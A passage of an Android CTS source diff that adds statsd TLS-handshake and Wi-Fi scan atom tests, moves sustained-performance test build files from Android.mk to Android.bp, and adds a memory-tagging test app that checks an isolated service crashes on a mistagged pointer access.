+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testTlsHandshake()
+            throws Exception {
+        final int atomTag = AtomsProto.Atom.TLS_HANDSHAKE_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testTlsHandshake");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isAtLeast(2);
+        AtomsProto.TlsHandshakeReported atom = data.get(0).getAtom().getTlsHandshakeReported();
+        AtomsProto.TlsHandshakeReported atom2 = data.get(1).getAtom().getTlsHandshakeReported();
+        assertThat(atom.getProtocol().toString()).contains("TLS_V1_2");
+        assertThat(atom2.getProtocol().toString()).contains("TLS_V1_2");
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
index 6041c68..7710944 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
@@ -1,4 +1,3 @@
-# Owners of the WifiLockStateChanged atom
-patrikf@google.com
-saagarp@google.com
-stroshin@google.com
+narcisaam@google.com
+dorindrimus@google.com
+vtrifonov@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
index c4bec178..4be79f6 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
@@ -42,6 +42,8 @@
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
 
 public class WifiStatsTests extends DeviceTestCase implements IBuildReceiver {
     private IBuildInfo mCtsBuild;
@@ -215,25 +217,29 @@
         DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
 
-        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data).hasSize(2);
+        List<StatsLog.EventMetricData> metricData = ReportUtils.getEventMetricDataList(getDevice());
+        List<AtomsProto.WifiScanReported> wifiScanAtoms = metricData.stream()
+                .map(eventLog -> eventLog.getAtom().getWifiScanReported())
+                // Disregard interfering scans from other sources.
+                // If this test is run on a device that has a Settings app open that
+                // continuously performs frequent scans, quite often our scans requests
+                // are bundled together and get attributed to the Settings app.
+                .filter(scan -> List.of(
+                                AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP,
+                                AtomsProto.WifiScanReported.Source.SOURCE_SETTINGS_APP)
+                        .contains(scan.getSource()))
+                .filter(Predicate.not(scan -> scan.getImportance().equals(
+                        AtomsProto.WifiScanReported.Importance.IMPORTANCE_UNKNOWN)))
+                .collect(Collectors.toList());
+        assertThat(wifiScanAtoms).isNotEmpty();
 
-        AtomsProto.WifiScanReported a0 = data.get(0).getAtom().getWifiScanReported();
-        AtomsProto.WifiScanReported a1 = data.get(1).getAtom().getWifiScanReported();
-
-        for (AtomsProto.WifiScanReported a : new AtomsProto.WifiScanReported[]{a0, a1}) {
-            assertThat(a.getResult()).isEqualTo(AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
-            assertThat(a.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
-            assertThat(a.getSource()).isAnyOf(
-                    // If this test is run on a device that has a Settings app open that
-                    // continuously performs frequent scans, quite often our scans requests
-                    // are bundled together and get attributed to the Settings app.
-                    AtomsProto.WifiScanReported.Source.SOURCE_SETTINGS_APP,
-                    AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP);
-            assertThat(a.getImportance()).isEqualTo(
+        for (AtomsProto.WifiScanReported scan : wifiScanAtoms) {
+            assertThat(scan.getResult()).isEqualTo(
+                    AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
+            assertThat(scan.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
+            assertThat(scan.getImportance()).isEqualTo(
                     AtomsProto.WifiScanReported.Importance.IMPORTANCE_FOREGROUND_SERVICE);
-
-            assertThat(a.getScanDurationMillis()).isGreaterThan(0);
+            assertThat(scan.getScanDurationMillis()).isGreaterThan(0);
         }
     }
 
@@ -242,7 +248,7 @@
 
 
         ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER,  true);
+                AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER, true);
         DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
 
diff --git a/hostsidetests/sustainedperf/Android.bp b/hostsidetests/sustainedperf/Android.bp
new file mode 100644
index 0000000..4d887e1
--- /dev/null
+++ b/hostsidetests/sustainedperf/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsSustainedPerformanceHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
deleted file mode 100644
index 6a5efef..0000000
--- a/hostsidetests/sustainedperf/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.bp b/hostsidetests/sustainedperf/dhrystone/Android.bp
new file mode 100644
index 0000000..62c09c4
--- /dev/null
+++ b/hostsidetests/sustainedperf/dhrystone/Android.bp
@@ -0,0 +1,57 @@
+//# sources have been created from Drystone-2.1.sh with below command:
+// ./Drystone-2.1.sh
+// sed -i 's/printf ("  Ptr_Comp:          %d\\n", (int) /printf ("  Ptr_Comp:          %p\\n", /g' dhry_1.c
+// sed -i 's,^} /\* Proc_,return 0; } /\* Proc_,g' *.c
+
+// See: http://go/android-license-faq
+package {
+    default_applicable_licenses: [
+        "cts_hostsidetests_sustainedperf_dhrystone_license",
+    ],
+}
+
+license {
+    name: "cts_hostsidetests_sustainedperf_dhrystone_license",
+    visibility: [":__subpackages__"],
+    license_kinds: [
+        "SPDX-license-identifier-BSD",
+        "SPDX-license-identifier-MIT",
+        "SPDX-license-identifier-NCSA",
+    ],
+    license_text: [
+        "LICENSE.TXT",
+    ],
+}
+
+cc_test {
+    name: "dhry",
+    srcs: [
+        "dhry_1.c",
+        "dhry_2.c",
+    ],
+    cflags: [
+        "-O3",
+        "-fno-inline-functions",
+        "-DMSC_CLOCK",
+        "-DCLK_TCK=1000000",
+        "-Wno-deprecated-non-prototype",
+        "-Wno-implicit-function-declaration",
+        "-Wno-implicit-int",
+        "-Wno-incompatible-library-redeclaration",
+        "-Wno-return-type",
+    ],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
deleted file mode 100644
index 877b468..0000000
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-LOCAL_PATH:= $(call my-dir)
-
-## sources have been created from Drystone-2.1.sh with below command:
-# ./Drystone-2.1.sh
-# sed -i 's/printf ("  Ptr_Comp:          %d\\n", (int) /printf ("  Ptr_Comp:          %p\\n", /g' dhry_1.c
-# sed -i 's,^} /\* Proc_,return 0; } /\* Proc_,g' *.c
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := dhry
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_NOTICE_FILE := $(LOCAL_PATH)/LICENSE.TXT
-LOCAL_SRC_FILES := dhry_1.c dhry_2.c
-LOCAL_CFLAGS := -O3 -fno-inline-functions -DMSC_CLOCK -DCLK_TCK=1000000
-LOCAL_CFLAGS += -Wall -Werror -Wno-incompatible-library-redeclaration
-LOCAL_CFLAGS += -Wno-return-type -Wno-implicit-function-declaration -Wno-implicit-int
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.bp b/hostsidetests/sustainedperf/shadertoy_android/Android.bp
new file mode 100644
index 0000000..e730980
--- /dev/null
+++ b/hostsidetests/sustainedperf/shadertoy_android/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSustainedPerformanceTestCases",
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    jni_libs: ["libgltest"],
+    //LOCAL_SHARED_LIBRARIES := libc++
+    //LOCAL_STATIC_LIBRARIES := libc++_static
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "5",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
deleted file mode 100644
index e85b172..0000000
--- a/hostsidetests/sustainedperf/shadertoy_android/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := libgltest
-#LOCAL_SHARED_LIBRARIES := libc++
-#LOCAL_STATIC_LIBRARIES := libc++_static
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsSustainedPerformanceTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 5
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-include $(BUILD_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk b/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
deleted file mode 100644
index 7c4304a..0000000
--- a/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-#

-

-NDK_TOOLCHAIN_VERSION := 4.8

-APP_ABI := armeabi-v7a

-APP_PLATFORM := android-22

-

-APP_STL := gnustl_static

-LOCAL_C_INCLUDES += ${ANDROID_NDK}/sources/cxx-stl/gnu-libstdc++/4.8/include

diff --git a/hostsidetests/tagging/AndroidTest.xml b/hostsidetests/tagging/AndroidTest.xml
index e4910a9..e784407 100644
--- a/hostsidetests/tagging/AndroidTest.xml
+++ b/hostsidetests/tagging/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.SkipHWASanModuleController" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsTaggingHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/tagging/sdk_30_memtag/Android.bp b/hostsidetests/tagging/sdk_30_memtag/Android.bp
new file mode 100644
index 0000000..f21ce4a
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30_memtag/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsHostsideTaggingSdk30MemtagApp",
+    defaults: ["cts_tagging_app_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    static_libs: ["compatibility-device-util-axt"],
+}
diff --git a/hostsidetests/tagging/sdk_30_memtag/AndroidManifest.xml b/hostsidetests/tagging/sdk_30_memtag/AndroidManifest.xml
new file mode 100644
index 0000000..fe9413a
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30_memtag/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.tagging.sdk30memtag">
+
+    <uses-sdk android:targetSdkVersion="30" />
+    <uses-permission android:name="android.permission.READ_LOGS"/>
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
+
+    <application android:debuggable="true"
+                 android:memtagMode="sync"
+                 android:zygotePreloadName=".ZygotePreload">
+      <uses-library android:name="android.test.runner" />
+
+      <activity android:name=".ServiceRunnerActivity" />
+
+      <service android:name=".CrashAppZygoteService"
+               android:process=":CrashIsolatedProcess"
+               android:useAppZygote="true"
+               android:isolatedProcess="true"
+               android:exported="false" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.tagging.sdk30memtag" />
+</manifest>
diff --git a/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/CrashAppZygoteService.java b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/CrashAppZygoteService.java
new file mode 100644
index 0000000..5fdc532
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/CrashAppZygoteService.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30memtag;
+
+import android.app.Service;
+import android.content.Intent;
+import android.cts.tagging.Utils;
+import android.os.AsyncTask;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class CrashAppZygoteService extends Service {
+    private static String TAG = CrashAppZygoteService.class.getName();
+
+    private Messenger mClient;
+
+    class IncomingHandler extends Handler {
+        private CrashAppZygoteService mService;
+
+        IncomingHandler(CrashAppZygoteService service) {
+            mService = service;
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            if (msg.what != ServiceRunnerActivity.MSG_START_TEST) {
+                Log.e(TAG, "CrashAppZygoteService received bad message: " + msg.what);
+                super.handleMessage(msg);
+                return;
+            }
+            mService.mClient = msg.replyTo;
+            mService.startTests();
+        }
+    }
+
+    final Messenger mMessenger = new Messenger(new IncomingHandler(this));
+
+    public CrashAppZygoteService() {
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mMessenger.getBinder();
+    }
+
+    private void notifyClientOfResult(int result) {
+        try {
+          mClient.send(
+              Message.obtain(null, ServiceRunnerActivity.MSG_NOTIFY_TEST_RESULT, result, 0, null));
+        } catch (RemoteException e) {
+            Log.e(TAG, "Failed to send message back to client.");
+        }
+    }
+
+    private void notifyClientOfSuccess() {
+      notifyClientOfResult(ServiceRunnerActivity.RESULT_TEST_SUCCESS);
+    }
+
+    private void startTests() {
+      Utils.accessMistaggedPointer();
+      notifyClientOfSuccess();
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/ServiceRunnerActivity.java b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/ServiceRunnerActivity.java
new file mode 100644
index 0000000..51bc1c2
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/ServiceRunnerActivity.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30memtag;
+
+import android.app.Activity;
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class ServiceRunnerActivity extends Activity {
+  private static String TAG = ServiceRunnerActivity.class.getName();
+
+  // Message received from the client.
+  public static final int MSG_START_TEST = 1;
+
+  public static final int RESULT_TEST_UNKNOWN = RESULT_FIRST_USER + 1;
+  public static final int RESULT_TEST_SUCCESS = RESULT_FIRST_USER + 2;
+  public static final int RESULT_TEST_IGNORED = RESULT_FIRST_USER + 3;
+  public static final int RESULT_TEST_FAILED = RESULT_FIRST_USER + 4;
+  public static final int RESULT_TEST_CRASHED = RESULT_FIRST_USER + 5;
+
+  // Messages sent to the client.
+  public static final int MSG_NOTIFY_TEST_RESULT = 2;
+
+  private Messenger mService;
+  private boolean mIsBound;
+
+  private int mResult;
+  private final Object mFinishEvent = new Object();
+
+  public synchronized int getResult() { return mResult; }
+
+  // Handler of incoming messages from service.
+  class IncomingHandler extends Handler {
+    private ServiceRunnerActivity mActivity;
+
+    IncomingHandler(ServiceRunnerActivity activity) { mActivity = activity; }
+
+    @Override
+    public void handleMessage(Message msg) {
+      switch (msg.what) {
+        case MSG_NOTIFY_TEST_RESULT:
+          synchronized (mActivity.mFinishEvent) {
+            mActivity.mResult = msg.arg1;
+            mFinishEvent.notify();
+          }
+          doUnbindService();
+          break;
+        default:
+          super.handleMessage(msg);
+          return;
+      }
+    }
+  }
+
+  // Target we publish for clients to send messages to IncomingHandler.
+  final Messenger mMessenger = new Messenger(new IncomingHandler(this));
+
+  private ServiceConnection mConnection = new ServiceConnection() {
+    @Override
+    public void onServiceConnected(ComponentName className, IBinder service) {
+      mService = new Messenger(service);
+
+      // Send a message to the service to register.
+      try {
+        Message msg = Message.obtain(null, MSG_START_TEST);
+        msg.replyTo = mMessenger;
+        mService.send(msg);
+      } catch (RemoteException e) {
+        // In this case the service has crashed before we could even do anything.
+        Log.e(TAG, "Failed to send start message to service.");
+      }
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName className) {
+      // This is called when the connection with the service has been unexpectedly
+      // disconnected -- that is, its process crashed.
+      Log.i(TAG, "Service disconnected.");
+      mService = null;
+      synchronized (mFinishEvent) {
+        mResult = RESULT_TEST_CRASHED;
+        mFinishEvent.notify();
+      }
+    }
+  };
+
+  void doBindService(Class<?> cls) {
+    bindService(new Intent(this, cls), mConnection, Context.BIND_AUTO_CREATE);
+    mIsBound = true;
+  }
+
+  void doUnbindService() {
+    // Detach our existing connection.
+    unbindService(mConnection);
+    mIsBound = false;
+  }
+
+  void runService(Class<?> cls) throws Exception {
+    mResult = RESULT_TEST_UNKNOWN;
+    doBindService(cls);
+    Thread thread = new Thread() {
+      @Override
+      public void run() {
+        synchronized (mFinishEvent) {
+          while (mResult == RESULT_TEST_UNKNOWN) {
+            try {
+              mFinishEvent.wait();
+            } catch (InterruptedException e) {
+            }
+          }
+        }
+      }
+    };
+    thread.start();
+    thread.join(50000 /* millis */);
+  }
+}
diff --git a/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/TaggingTest.java b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/TaggingTest.java
new file mode 100644
index 0000000..2dccca0
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/TaggingTest.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30memtag;
+
+import static org.junit.Assert.assertEquals;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.runner.RunWith;
+import org.junit.Rule;
+import org.junit.Test;
+
+import com.android.compatibility.common.util.DropBoxReceiver;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class TaggingTest {
+    @Rule
+    public ActivityTestRule<ServiceRunnerActivity> mTestActivityRule = new ActivityTestRule<>(
+        ServiceRunnerActivity.class, false /*initialTouchMode*/, true /*launchActivity*/);
+
+    @Test
+    public void testAppZygoteMemtagSyncService() throws Exception {
+      ServiceRunnerActivity activity = mTestActivityRule.getActivity();
+      activity.runService(CrashAppZygoteService.class);
+      assertEquals(ServiceRunnerActivity.RESULT_TEST_CRASHED, activity.getResult());
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/ZygotePreload.java b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/ZygotePreload.java
new file mode 100644
index 0000000..85c7023
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30_memtag/src/android/cts/tagging/sdk30memtag/ZygotePreload.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30memtag;
+
+import android.content.pm.ApplicationInfo;
+import android.util.Log;
+
+public class ZygotePreload implements android.app.ZygotePreload {
+    static final String TAG = "ZygotePreload";
+
+    @Override
+    public void doPreload(ApplicationInfo appInfo) {
+      Log.i(TAG, "preload called");
+    }
+}
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30MemtagTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30MemtagTest.java
new file mode 100644
index 0000000..dfb556c
--- /dev/null
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30MemtagTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.tagging;
+
+import com.google.common.collect.ImmutableSet;
+
+public class TaggingSdk30MemtagTest extends TaggingBaseTest {
+    protected static final String TEST_APK = "CtsHostsideTaggingSdk30MemtagApp.apk";
+    protected static final String TEST_PKG = "android.cts.tagging.sdk30memtag";
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    private static final long NATIVE_MEMTAG_ASYNC_CHANGE_ID = 135772972;
+    private static final long NATIVE_MEMTAG_SYNC_CHANGE_ID = 177438394;
+
+    @Override
